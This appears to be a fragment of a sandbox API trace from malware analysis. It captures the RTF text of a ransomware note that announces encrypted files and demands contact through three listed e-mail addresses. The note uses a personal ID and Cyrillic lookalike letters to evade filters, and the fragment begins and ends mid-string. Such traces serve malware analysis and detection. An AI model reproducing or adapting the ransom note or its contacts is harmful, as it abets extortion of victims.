writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED 